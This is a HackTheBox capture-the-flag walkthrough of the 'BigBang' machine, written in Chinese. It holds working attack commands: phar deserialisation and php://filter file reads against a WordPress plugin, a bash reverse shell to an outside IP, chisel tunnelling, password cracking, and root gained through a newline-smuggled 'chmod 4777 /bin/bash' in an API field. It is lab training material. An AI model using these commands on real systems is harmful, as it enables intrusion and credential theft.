HTB-bigbang

index页面又文件上传

image-20250506095951243

存在插件漏洞

image-20250506100016210

去readme.txt可以看到版本号为2.7.7

然后参考漏洞复现

复现

  • cat 1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Evil{
public function __wakeup() : void {
die("Arbitrary Deserialization");
}
}


//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();


  • php –define phar.readonly=0 1.php

  • strings 1.phar
    //检查

开启python服务,然后传文件

1
curl -i -F "action=upload_image_from_url" -F "url=http://10.10.16.5:80/evil.phar" -F "id=1" -F "accepted_files=image/gif" http://blog.bigbang.htb/wp-admin/admin-ajax.php

然后用这个远程文件包含尝试一下进行phar反序列化

1
curl -i -F "action=upload_image_from_url" -F "url=phar://../wp-content/uploads/2025/1-25.png" -F "id=1" -F "accepted_files=image/gif" http://blog.bigbang.htb/wp-admin/admin-ajax.php

响应是失败的

image-20250506104621097

解决问题1

利用工具实现任务文件读取

工具wrapwrap

生成一个 php://filter 链,为文件内容添加前缀和后缀。

1
2
3
4
5
6
7
python3 wrapwrap.py /etc/passwd 'GIF89a' ';' 1000

echo "action=upload_image_from_url&url=$(cat chain.txt)&id=1&accepted_files=image/gif" > curl_data.txt

curl -i -H 'Content-Type: application/x-www-form-urlencoded' -d @curl_data.txt http://blog.bigbang.htb/wp-admin/admin-ajax.php

curl -s http://blog.bigbang.htb/wp-content/uploads/2025/05/1-26.png -o -

image-20250506111917371

解决问题2

拿不到shell,只能自己按照cnext走一遍

先读取版本

1
filename='/lib/x86_64-linux-gnu/libc.so.6' ; python3 wrapwrap.py "$filename" 'GIF89a' '' 1200 >/dev/null && echo "action=upload_image_from_url&url=$(cat chain.txt)&id=1&accepted_files=image/gif" > curl_data.txt && curl -s -H 'Content-Type: application/x-www-form-urlencoded' -d @curl_data.txt http://blog.bigbang.htb/wp-admin/admin-ajax.php | jq '.response' | xargs curl -s -o - | sed -e 's/GIF89a//g' -e 's/=0A/\n/g' -e 's/=0D/\r/g' -e 's/>=.*//g' | strings | grep 'release version'

然后根据读取的版本进行一个本地起一个

  • docker run -it –rm debian:12.4
  • apt update && apt install -y netcat-openbsd
  • sudo nc -q 3 -lnvp 443 > libc.so.6
    • kali这监听
  • nc -q 3 -nv 172.17.0.1 443 < /lib/x86_64-linux-gnu/libc.so.6
    • 在docker里往外传

拿到docker内部的shell

修改cnext脚本,把文件包含修改成rce,libc.so.6文件用本地的,之后

1
python3 1.py http://blog.bigbang.htb/wp-admin/admin-ajax.php 'bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"'

拿到shell

二段

1
/var/www/html/wordpress/wp-config.php

暂时没用

1
2
3
4
5
6
7
8
curl -s http://10.10.16.5/chisel -o chisel

chmod +x ./chisel

sudo ./chisel server --port 8081 --reverse &

./chisel client 10.10.16.5:8081 R:127.0.0.1:3306:172.17.0.1:3306 &
现在是在kali上的3306本地端口可以连接到题目docker外部的数据库了

查询

1
2
3
4
5
mysql -h 127.0.0.1 -P 3306 -u 'wp_user' -p'wp_password'

use wordpress;

select * from wp_users;

能查到用户密码的hash,然后就是爆破

1
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到quantumphysics

ssh连接得到

第一个flag

1
2
3
4
5
ssh shawking@blog.bigbang.htb
quantumphysics

cat user.txt
286ca6cd736803c92a00622d55c20e2d

ps aux 看到3000-端口有root服务,通过ssh隧道带出来

netstat -tnl

可以看到9090端口,37837端口

1
ssh -f -N -L 127.0.0.1:9090:127.0.0.1:9090 -L 127.0.0.1:3000:127.0.0.1:3000 -L 127.0.0.1:37837:127.0.0.1:37837 shawking@blog.bigbang.htb

扫扫

1
sudo nmap -Pn -sT -p9090,3000,37837 -sC -sV -oN forward.txt 127.0.0.1

3000端口

没有哪个啥,3000端口是个web服务

漏洞参考

查找有用信息

1
find / -name '*grafana*' 2>/dev/null

破解

  • https://github.com/iamaldi/grafana2hashcat

  • sqlite3 grafana.db ‘select * from user;’ | cut -d ‘|’ -f 6,7 | tr ‘|’, ‘,’ > hashes.txt

  • python3 grafana2hashcat.py -o g2h.txt hashes.txt

  • hashcat -m 10900 g2h.txt –wordlist /usr/share/wordlists/rockyou.txt

这个获取的密码可以进行登录

  • su developer
  • bigbang

获得第二个账户

9000端口

查找可写文件,看看权限

1
find / -type f -writable 2>/dev/null | grep -vE '/proc|/sys'

分析一下apk

  • apktool d -o decompiled_apk satellite-app.apk
  • grep -iar ‘bigbang.htb’ decompiled_apk

image-20250506143639753

扫描出来俩目录

1
2
3
4
5
6
7
8
./gobuster dir -u 'http://app.bigbang.htb:9090/' -w /usr/share/Seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt

/command (Status: 405) [Size: 153]
/login (Status: 405) [Size: 153]

修改请求方法
curl -si -X OPTIONS http://app.bigbang.htb:9090/login
curl -iX POST http://app.bigbang.htb:9090/login
  • curl -iX POST http://app.bigbang.htb:9090/login -H ‘Content-Type: application/json’ -d ‘{“username”: “developer”, “password”: “bigbang”}’
    • 获取tocken

利用tocken去执行命令

1
curl -si -X POST -H "Authorization: Bearer ${token}" -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "\u000achmod 4777 /bin/bash"}' http://app.bigbang.htb:9090/command

然后获取shell

1
2
3
ls -l /bin/bash

/bin/bash -ip

第二个flag

cat /root/root.txt出了